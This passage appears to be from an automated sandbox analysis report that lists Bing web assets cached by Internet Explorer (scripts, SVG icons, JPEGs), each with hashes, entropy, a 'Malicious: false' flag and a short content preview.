SSDEEP:	96:6lg111b8TUEfN/R5Cx2ftlv8Zkj81vPZsYf:0g11u5FR5CUtlkZPRKY
MD5:	299A479A2F7F1F30D09545CA8CC5D162
SHA1:	871F9E79AD73AAD0B3E0AD1B5B6B87FE837B16CE
SHA-256:	B314EAD01E8E89C964273418BB1117D24DFE01E4838E7A1B46FA19F64699AF05
SHA-512:	9D8DA9F1247D5D097E8AAAB4346AADE12E2BC74D6F9446760A5A3A45D9C2D48782D456CE05AC6FD2F0572CD26A562F2D0E4C55048FDAEC138F398A715743437D
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II*...............V...........^...(...........1.......f...2.......t...i...............H.......H.......GIMP 2.10.18..2020:04:16 19:04:38.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ .........7.,acspMSFT...................................-lcms................................................desc... ...@cprt...`...6wtpt........chad.......,rXYZ........bXYZ........gXYZ........rTRC....... gTRC....... bTRC....... chrm...4...$dmnd...X...$dmdd...\|...$mluc............enUS...$.....G.I.M.P. .b.u.i.l.t.-.i.n. .s.R.G.Bmluc............enUS.........P.u.b.l.i.c. .D.o.m.a.i.n..XYZ ...............-sf32.......B.......%.......................nXYZ ......o...8.....XYZ ......$.........XYZ ......b.........para..........ff......Y.......[chrm..............T\|..L.......&g...\mluc............enUS.........G.I.M.Pmluc............enUS.........s.R.G.B...C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\iWHKha2Cu3AUNv_GRkKDPPuv8wM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (511), with no line terminators
Category:	dropped
Size (bytes):	511
Entropy (8bit):	4.980041296618112
Encrypted:	false
SSDEEP:	12:yWF4eguIWKvU9bEMsR5OErixCvJO1Vi5rgsM:LF4mKctEMYOK4CvJUVYM
MD5:	D6741608BA48E400A406ACA7F3464765
SHA1:	8961CA85AD82BB701436FFC64642833CFBAFF303
SHA-256:	B1DB1D8C0E5316D2C8A14E778B7220AC75ADAE5333A6D58BA7FD07F4E6EAA83C
SHA-512:	E85360DBBB0881792B86DCAF56789434152ED69E00A99202B880F19D551B8C78EEFF38A5836024F5D61DBC36818A39A921957F13FBF592BAAFD06ACB1AED244B
Malicious:	false
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t,i){var u,r;t.isAuthenticated&&(n.raiseAuthEventAndLog(t),u=_ge("sb_form_q"),u&&(r=u.getAttribute("value"),r&&(n.fetchLowerHeader(r),n.fetchScopeBar(r),i.notifEnabled&&i.notifFetchAsync&&n.fetchNotificationConditional())))}function i(n,i){n&&n.length==2&&t(n[1],i)}n.bindToConditionalSignIn=function(n){sj_evt.bind("ssofirstquery",function(t){return i(t,n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\kiGH9ukZK6Q4hvtDtwwVc1yvueg[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	4.796412914000846
Encrypted:	false
SSDEEP:	24:t4LxSdeBU4dxCey0fA53J/S/7/sG5BmefEqrR5GTGOby2NF2E/:+xSUBU4S55Z/aB5BmefEqrRYK6
MD5:	620580657E8A45B4A7B8450B8DA5CD32
SHA1:	922187F6E9192BA43886FB43B70C15735CAFB9E8
SHA-256:	91DE3100632E986CDB6897793EF1B2A8655B15ED4145098CA489856C043D207E
SHA-512:	F3CE71CD92BA2C6ABD6CDEE48F677522439CAD023042D56728E5CB2DED5EC51D1170308FB1524C4A352AC6C5E4E514147D21B99667CCE54CE35A73D91DD27E4B
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 40 40" width="64" height="64">.. <style type="text/css">.. .anim {.. animation-name: blink;.. animation-duration: 1s;.. animation-iteration-count: infinite;.. fill: #05E9F5;.. transition-timing-function: linear;.. }.. @keyframes blink {.. 0% {.. opacity: 0.. }.. 50% {.. opacity: 1.. }.. 75% {.. opacity: 1.. }.. 100% {.. opacity: 1.. }.. }.. .delay1 {.. animation-delay: 0s;.. }.. .delay2 {.. animation-delay: .125s;.. }.. .delay3 {.. animation-delay: .25s;.. }.. .delay4 {.. animation-delay: .375s;.. }.. .delay5 {.. animation-delay: .5s;.. }.. .delay6 {.. animation-delay: .675s;.. }.. .delay7 {.. animation-delay: .75s;.. }.. .delay8 {.. animation-delay: .875s;.. }.. </style>.. <circle class="delay1 anim" cx="20" cy="8" r="3" />.. <circle class="delay5 anim"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\kxeSzXDO1K1Yb2MpwwwpTr6hVI4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (15499), with no line terminators
Category:	dropped
Size (bytes):	15499
Entropy (8bit):	5.480730234430963
Encrypted:	false
SSDEEP:	384:9yNlDP8S+dunOK6W6oNqFhH7gFJNqFhH7gFU1THyw:+J0AmB7aPmB7aU1THyw
MD5:	95EF37148FA1E06A4C8C81F52D947968
SHA1:	A0BD32E1A3CF4181DB3AA3121D50A3405AE0F069
SHA-256:	F06EE97874B710E6957F2D5C62D214D16057FD0222F17E1DC156C8A3A30F00D6
SHA-512:	B5EBF50C92FE5BB94D44C4B4F401F3EE7278FFC7EF035DF50A379FDB120104AE6CECB774B646B8C955A10F58390202DC389735DF71E21DC2370ABB731D0EB9EF
Malicious:	false
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",w="_RwBf",b="rwmrst",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redDotImage.png",k=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible,hasUsedCcpTrial:n&&n.RewardsSessionData&&n.RewardsSessionData.HasUsedCcpTrial}}re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\lvCKZ07bEYtoYmY62ifMzVa0RIE[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:59:08], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5944
Entropy (8bit):	7.819206752415454
Encrypted:	false
SSDEEP:	96:sUbkQe7dQVaRFmwmIE1KFxQ5JKPxCLNO8XrhNOyYSIyQ3DEmISwnFlE6NlG:s+od96rIE1KRCLHXl4DPzEmISwFlE6Nc
MD5:	F6E70DA298349AD94215F0B4A6875037
SHA1:	96F08A674EDB118B6862663ADA27CCCD56B44481
SHA-256:	68B6356BA9F37FF17EAE98BC094A493075F83D446B1E88F1ED32C2926E72E76C
SHA-512:	AFA16D89B1395F1318F42757F9451553F425539087E2EE40EC9FB14EC1FEB0C80254252951472ACC4AB8D4245E53E75F2C43FE41DAF9EC7DA8526C2F7B669BD4
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:59:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.........................................................................................h......................E..T..r..D........@..H.F&....`5.e.%...."..U@C.r.e...5.-.`4".[.`.1C.$)..pZ.".;. .(..w...x.f..sU[....Y..<.:...b..=+.........n\.b)sv/4^`-.kN.;.v..X....Z......#_...N.....j..4.\......T..,.....B..&..L....^LcJ.KA.=....!iEY...!N....Z.:.d.i..F..d...sP.w=<..59]O..u.?..3...]i....F...C.X...[M..z..<...k..rL.UYr.jz.@ sTf..D8,5.+..<jWr..oL...<H.k;.A I.k)...'.y.j.uZ.,4......(.\HH.ByC..1.jt.X...Z.......w......`.v.TZ.M.f.J.}.F.e..Te.-N@S...+.].\..u-9..Xg .B.[M.$..'.ry....Zf...CV.D...S...65 `mH@#.j[.y."...r ).5.B\.o...B...Ee..Q@....,..)..u#..i.j.jAsT...[J.c_...'.....................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\ni3MyKKVu9pK0SgY6gb6Z2NOGpg[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:43:45], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	3814
Entropy (8bit):	7.634659202076907
Encrypted:	false
SSDEEP:	96:sQrbnTt8ATpTToooX6l4d309BEEGp0m1amWth0x/aA+9GnPoYXEcX:sS8AyJKl4xV0KamWtOb+SP0cX
MD5:	281570611F89219A970F2589F98A09DB
SHA1:	9E2DCCC8A295BBDA4AD12818EA06FA67634E1A98
SHA-256:	7BDAB4155253E159B748E2BE6CB1C0AF736F18D2A4DBDDF79D93D6219A3DE9DD
SHA-512:	FB9CAEE5B3FF8A3CE8C4D6D066CC0283A8A158E32131754CD9EFB1B4A25303CAA72FAE11C23E836B2A2F0D5005F0E39EB2A38D1D28CB81CAE5C1C818D77B80FB
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:43:45....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................... .. ..... .. .. ..$................H.............. ..$..H .. .....AY .....: ...P$..$.. .tXAI ......@....9..I...Rt....f$.Z....+..,.. .t@1.Q.O=..3.l.#.v..1gZ,...[..A&.y.....j....=-.{.[.....5t.y.q..T..t.UY...Z.,..]....{...bI<.4`..<].m'...D..9.......z5.....0G..U.b.e.qn6k7cwo......1G=......)n..g..1.vZ...jIu..9.c.uo=..>...r..-......2..g.V.Z\.{.^c:..Jj.uY....5-."V...?...(......................!..".. .12#0@ABp...............>.....n..>..z..z..n.' .\.J.-...u#.....c~.@d.......\|./..g..v....#..:a_....p=$Z.%.3..SN.G..Hi.._.W........L.........$.?..p_.w. ..e.h..A..9.-[..n.F.......Q.. .2.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\t6Bkpkzq5ckAnvfW2PY7kNOTPJ0[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.86807996961474
Encrypted:	false
SSDEEP:	6:A909cpDUDUBDhR9c2p83QVhXANO09c8k9Au9c2pHn:AocpwDUBhfc2W3YXANvcpiMc2Bn
MD5:	6C2C6DB3832D53062D303CDFF5E2BD30
SHA1:	B7A064A64CEAE5C9009EF7D6D8F63B90D3933C9D
SHA-256:	06B77EE16A2CD34ACD210B4F2B6E423762EA8874BB26AE5A37DB9DD01A00FF70
SHA-512:	BC2D115B53035B700D727AF9D7EFAF32DD2A39A2344F3F5FA1A82586BE849EC7803E8320661E66AB7DD2A17E64B7897E95BBD84502B91997FA46EBA4E67E8C7D
Malicious:	false
Preview:	function RewardsReportActivity(n){window.sj_rra&&sj_rra(n)}(function(){RewardsReportActivity(document.URL);sj_evt&&sj_evt.bind("acclink:updated",function(){typeof RewardsReportActivity!="undefined"&&RewardsReportActivity(document.URL)},1)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\zeCxMEtVi23nUD1VnJIBRkRzb4g[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (3363), with no line terminators
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	5.195022922251816
Encrypted:	false
SSDEEP:	48:rVnoyUQXHE2ugs6SI7kVsP1mB88bTg7IYeYU5qnjRXpHNXhgkGq:Z+yhCPFy12dbTQ3k5GjZjr
MD5:	FABB77C7AE3FD2271F5909155FB490E5
SHA1:	CDE0B1304B558B6DE7503D559C92014644736F88
SHA-256:	E482BF4BAAA167335F326B9B4F4B83E806CC21FB428B988A4932C806D918771C
SHA-512:	CABB38F7961AB11449A6E895657D39C947D422F0B3E1DA976494C53203E0E91ADFC514B6100E632939C4335C119165D2330512CAA7D836A6C863087775EDAA9F
Malicious:	false
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},AccountLink;(function(n){function h(n,t){var i=a(n.accLinkRefreshEndPointUrl),r={url:i,requestType:"GET",onSuccess:t.onSuccess,onError:t.onError};v(r)}function s(n){var t=c(n);h(n,t)}function c(n){return{onSuccess:function(n){var e=sb_gt(),o=Math.floor(e/1e3)1e3,f;sj_cook.set(r,u,o.toString(),!0,"/");t("Refresh Account Link info Success");i("onRefreshAccountLinkInfoResponse","success");f={IsTenantAllowAccountLink:n.IsTenantAllowAccountLink,HasLinkedAccount:n.HasLinkedAccount};n.AccountLinkUpdated&&(t("fire acclink:updated"),sj_evt.fire("acclink:updated",f));n.HasLinkedAccount&&n.IsTenantAllowAccountLink&&i("onRefreshAccountLinkInfoResponse","hasActiveLinkedAccount")},onError:function(f,e,o){var s=sb_gt(),h=Math.floor(s/1e3)1e3,c=h-(n.refreshAccountLink

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\2LpcFhWkqO2O6Txcji6g-0kKCZQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1060), with no line terminators
Category:	dropped
Size (bytes):	1060
Entropy (8bit):	5.351152776949957
Encrypted:	false
SSDEEP:	24:2QmZ6qv3dhazSaxa7onMZN1GqPTz0KmNn4zVAoL3tMTCDU1nAA9zR9uHemdXp:2Om74MZN1tPv0KmNjAtMGD0zRPo
MD5:	F4DA106E481B3E221792289864C2D02A
SHA1:	D8BA5C1615A4A8ED8EE93C5C8E2EA0FB490A0994
SHA-256:	47CB84D180C1D6BA7578C379BDC396102043B31233544E25A5A6F738BB425AC9
SHA-512:	66518EE1B6C0DF613074E500A393E973844529CA81437C4BAFE6BF111CBA4D697AF4FE36B8D1B2AA9B25F3EB93CD76DF63ABFC3269AC7E9F87C5F28A3764008E
Malicious:	false
Preview:	(function(){function t(t){typeof Log!==n&&typeof Log.Log!==n&&Log.Log("NcHeader","Rewards",t,!0)}function i(){var u,e,r,a,o,v,y,s,i,h;if(typeof bepcfg===n)t("bepcfg Undefined");else if(u=_ge("nc_iid"),u){var c=typeof bepcfg.wb!==n,l=typeof bepcfg.v!==n,f=u.getAttribute("_IG");if(f&&f.length\|\|(f=_G.IG),e="&IID="+u.getAttribute("_iid")+"&IG="+f,l)try{sj_cook.get("")}catch(p){e+="&CID="+u.getAttribute("_cid")}r="/rewardsapp/ncheader?ver="+_G.AppVer+e;a=r;try{o=undefined;v=/(^\|&)uncrunched=1(&\|$)/i;o=v.exec(_w.location.search.substr(1));r=r+(o?"&uncrunched=1":"")}catch(w){r=a}y=_ge("rewardsEntryPoint");y&&(r="".concat(r,"&loadEntryPointsScript=1"));s=[_w.top,_w];i=sj_gx();i.open("POST",r,!0);i.setRequestHeader("Content-type","application/x-www-form-urlencoded");c&&(i.onreadystatechange=function(){i&&i.readyState==4&&i.status==200&&sj_appHTML(document.body,i.responseText)});h="wb="+(c?bepcfg.wb:"0");l&&(h+=";i="+(s[0]!==s[1].self?0:1)+";v="+bepcfg.v);i.send(h)}else t("nc_iid NotFound")}var

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\JxCc1B9rHyCEyBtdN16oEeUaxWc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2014), with no line terminators
Category:	dropped
Size (bytes):	2016
Entropy (8bit):	5.3161096027675105
Encrypted:	false
SSDEEP:	48:bnXL8sjfZ/Fslrgj3rzIRlK0KqoLi7XSOLFTt+jCz1T9XNZTs3Gan/An0:bnoshqlMQRlZTolKOEXNZsWan/An0
MD5:	D807DBBB6EE3A78027DC7075E0B593FF
SHA1:	27109CD41F6B1F2084C81B5D375EA811E51AC567
SHA-256:	0ACDCE370092C141B0C6617ED6E2163F04BB9B93D3213B62C2BC7A46FE0243C7
SHA-512:	E037DFC31D595B459660FE7D938EEDB4F43D208D247174EE8D6FD0D125F211142CD73497E4601893CECB6F565B7E2E7815CE416D72BB95504D3F277E4E806D11
Malicious:	false
Preview:	var SerpKeyboardNavigation;(function(){function c(){h=_d.activeElement;n=null;u=null;e=!1;t=-1;nt();u=_w.NavSelector&&NavSelector(!1)}function p(){v();n=null}function w(i){var e,h,o;i&&(e=_d.activeElement,h=s&&e&&e.className&&e.className.indexOf("feedback-binded")!==-1,i.keyCode==r.Tab&&s&&(f("TOP"),s=!1),u&&e&&e.className!=="b_searchbox"&&!h&&(i.keyCode==r.Enter?(n=null,f(t==-1?"EN":"EE",t)):b(i)&&(o=k(i.keyCode),o!==-1&&o!==t&&(tt(o),sj_pd(i)))))}function f(n,t){sj_log("CI.SerpKeyboardNav",n,t?t.toString():"")}function b(t){var i,r=(i=_d.querySelector("#b_sydConvCont cib-serp"))===null\|\|i===void 0?void 0:i.getAttribute("mode");return n\|\|h==_d.activeElement?t.altKey\|\|t.ctrlKey?!1:r&&["conversation","notebook"].includes(r)?!1:!0:!1}function k(n){if(n===r.Tab)return d();if(n===r.Down\|\|n===r.Up){var t=document.activeElement;return t&&(t.tagName.toLowerCase()==="select"\|\|t.tagName.toLowerCase()==="input")?-1:g(n===r.Down)}return-1}function d(){var i=-1;return n?(v(),e=!0,t=-1,f("TO")):(i=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\KjCBfzuZ475zX0-Fu2bdXt9qifQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (576), with no line terminators
Category:	dropped
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
SSDEEP:	12:9mPi891gAseP24yXNbdPd1dPkelrR5MdKIKG/OgrfYc3tOfIvHbt:9mPlP5smDy1dV1dHrLMdKIKG/OgLYgtV
MD5:	F5712E664873FDE8EE9044F693CD2DB7
SHA1:	2A30817F3B99E3BE735F4F85BB66DD5EDF6A89F4
SHA-256:	1562669AD323019CDA49A6CF3BDDECE1672282E7275F9D963031B30EA845FFB2
SHA-512:	CA0EB961E52D37CAA75F0F22012C045876A8B1A69DB583FE3232EA6A7787A85BEABC282F104C9FD236DA9A500BA15FDF7BD83C1639BFD73EF8EB6A910B75290D
Malicious:	false
Preview:	var SsoFrame;(function(n){function t(n){if(n&&n.url&&n.sandbox){var t=sj_ce("iframe"),i=t.style;i.visibility="hidden";i.position="absolute";i.height="0";i.width="0";i.border="none";t.src=decodeURIComponent(n.url);t.id="aadssofr";t.setAttribute("sandbox",n.sandbox);_d.body.appendChild(t);n.currentEpoch&&sj_cook.set("SRCHUSR","T",n.currentEpoch,!0,"/");Log&&Log.Log&&Log.Log("ClientInst","NoSignInAttempt","OrgId",!1)}}function i(n){try{n&&n.length===2&&t(n[1])}catch(i){}}n.createFrame=t;n.ssoFrameEntry=i;sj_evt.bind("ssoFrameExists",i,!0,null,!1)})(SsoFrame\|\|(SsoFrame={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\NnFHhz2jL6yzChtIhaB5IIVKY5k[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\VzJCCN2zqegKvTNGYH1xLJmcLlA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (8674), with no line terminators
Category:	dropped
Size (bytes):	8674
Entropy (8bit):	5.212727429542033
Encrypted:	false
SSDEEP:	192:a4/1MfRZ4V9bmVKnhHKBEs9F3kBlVD+mxHpfuq:ac1MfRkHpiEs9dkBfDLJfuq
MD5:	1C0981AC86E2EA5B7F08F34548AF3280
SHA1:	57324208DDB3A9E80ABD3346607D712C999C2E50
SHA-256:	00FF3483D93259AEDB929A9FEE4454A623830B18A08F08781AC1961C1E98774A
SHA-512:	0F7185A8579D9BF1B89623BF126C58789010C76F7E279A3F44064C78B2E3E04BB0A89394E6BE185618071153BC872E43A69211255F3470E1120E51AB0D5F2329
Malicious:	false
Preview:	(function(n,t,i,r,u,f,e,o,s){function w(n,t,i){var r=[],u;return n&&(i=i\|\|"*",u=n.getElementsByTagName(i),h(u,function(n){nt(n,t)&&r.push(n)})),r}function b(n,t,i){var r=[];return h(n,function(n){var u=w(n,t,i);u&&u.length>0&&(r=r.concat(u))}),r}function bt(n,t){var i=[];return h(n,function(n){var r=null;try{r=n.querySelector(t)}finally{r&&(i=i.concat(r))}}),i}function ut(n){return g[n]\|\|(g[n]=new RegExp("\\b"+n+"\\b")),g[n]}function nt(n,t){var i=n.className\|\|"";return ut(t).test(i)}function y(n,t){n.className=n.className\|\|"";nt(n,t)\|\|(n.className+=" "+t)}function p(n,t){var i=n.className\|\|"",r=ut(t);n&&i&&t&&(n.className=n.className.replace(r,"").replace(/\s+/," "))}function a(n){return f(n),u(n),!1}function kt(n){return(n=n\|\|i.event,n.pageX\|\|n.pageY)?{x:n.pageX,y:n.pageY}:{x:n.clientX+s.scrollLeft-s.clientLeft,y:n.clientY+s.scrollTop-s.clientTop}}function c(n,t){var i=n.currentStyle,r=0,u;return _w.getComputedStyle&&(i=_w.getComputedStyle(n),sb_ie&&(r=parseFloat(i.paddingTop)+parseF

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\ZRXGwgcw3Pgahh6o0WaCqsTdonM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (412), with no line terminators
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.17305928357574
Encrypted:	false
SSDEEP:	12:2QBdoySw+YEXj3Gs07fZVD7H82MgNukm7UqgU:2Qb7+YEXz4fZxHjmoRU
MD5:	581C2C396720F651CC2F3D40E9E727F8
SHA1:	6515C6C20730DCF81A861EA8D16682AAC4DDA273
SHA-256:	D6787BD009EA758F8ABDD437032799F7004247FC10F631B93AF0FA84607597EC
SHA-512:	E7198C04B0E8CEE80B8278E77FA0C301915B32F62C0DB36C1D7D2D9E20A7ACD578308070EB833ED8450A2360358E118E55B47DB149FB4AB8053E8FAA2C925568
Malicious:	false
Preview:	(function(){var n=_d.querySelector("#b_header .b_scopebar>ul #b-scopeListItem-web");n===null\|\|n===void 0?void 0:n.addEventListener("click",function(){var i,t,r;if(n&&Lib.CssClass.contains(n,"b_active"))try{i=_ge("b_header");i.scrollIntoView({behavior:"smooth"});t=_ge("sb_form_q");t.focus();t.click();r=t.value;t.setSelectionRange(0,r.length)}catch(u){_w.sj_log&&sj_log("CI.WebScope","error",u.message)}},!0)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\cye7NhBZJb1Rti8Cl6_Q9XmgID0[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (371), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.964799787793963
Encrypted:	false
SSDEEP:	6:qGD7/TMvKyYLwRMF4owANCqwvpkTzT6n0evROARDCMwzkk6Km0Msv/Gvz:JPwKVDJHCqspkZeZJDC/wKE
MD5:	B743465BB18A1BE636F4CBBBBD2C8080
SHA1:	7327BB36105925BD51B62F0297AFD0F579A0203D
SHA-256:	FEE47F1645BC40FBC0F98E05E8A53C4211F8081629FFDA2F785107C1F3F05235
SHA-512:	5592DEF225E34995F2F4E781F02CC2B489C66A7698D2FEFF9AC9A71F09E5284B6BBDB065E1DF9C06ADFB1F467D5627FBD06E647ABF4E6AB70CF34501232126AD
Malicious:	false
Preview:	var SbiPrivacy;(function(){function t(){var i,r,t,u;if(typeof SbiUtil!="undefined"&&SbiUtil.rt&&_d.querySelectorAll)for(i=SbiUtil.rt.querySelectorAll(".sbiinflnk[data-link]"),r=function(t){var i=t.target;i.hasAttribute(n)&&(i.href=i.getAttribute(n),i.removeAttribute(n))},t=0;t<i.length;t++){u=i[t];SbiUtil.oncop(u,r)}}var n="data-link";t()})(SbiPrivacy\|\|(SbiPrivacy={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\f-Y4kt-7SuB49beEoxsp6YHiJSM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (19674), with no line terminators
Category:	dropped
Size (bytes):	19674
Entropy (8bit):	5.33240026231163
Encrypted:	false
SSDEEP:	384:3Wsj/9Npzk8fbw3QMXmwOAahGvyBJeXiOOF240eApyfYRxW+:3z/PpzkLXmw0onXi9F24Ypw43
MD5:	5704A84AC0573BDBF11A8DA6582410C6
SHA1:	7FE63892DFBB4AE078F5B784A31B29E981E22523
SHA-256:	525FA9E3B57ABEE5ED411C5EBA2F74DFF25D2591BBC142A976DE1604E2502D9E
SHA-512:	4DF7C5152CC7A9BE28A650A3C275B9F9880139D640268E3266968EB585F813E6178FEE193D8348B5DA386A3893E54FD40A3B6149275DB404D3511F27532D8170
Malicious:	false
Preview:	var customEvents,__spreadArray,fallbackReplay,EventLoggingModule;_w.EventsToDuplicate=[];_w.useSharedLocalStorage=!1;define("shared",["require","exports"],function(n,t){function s(n,t){for(var r=n.length,i=0;i<r;i++)t(n[i])}function r(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];return function(){n.apply(null,i)}}function u(n){i&&event&&(event.returnValue=!1);n&&typeof n.preventDefault=="function"&&n.preventDefault()}function f(n){i&&event&&(event.cancelBubble=!0);n&&typeof n.stopPropagation=="function"&&n.stopPropagation()}function e(n,t,i){for(var r=0;n&&n.offsetParent&&n!=(i\|\|document.body);)r+=n["offset"+t],n=n.offsetParent;return r}function o(){return(new Date).getTime()}function h(n){return i?event:n}function c(n){return i?event?event.srcElement:null:n.target}function l(n){return i?event?event.fromElement:null:n.relatedTarget}function a(n){return 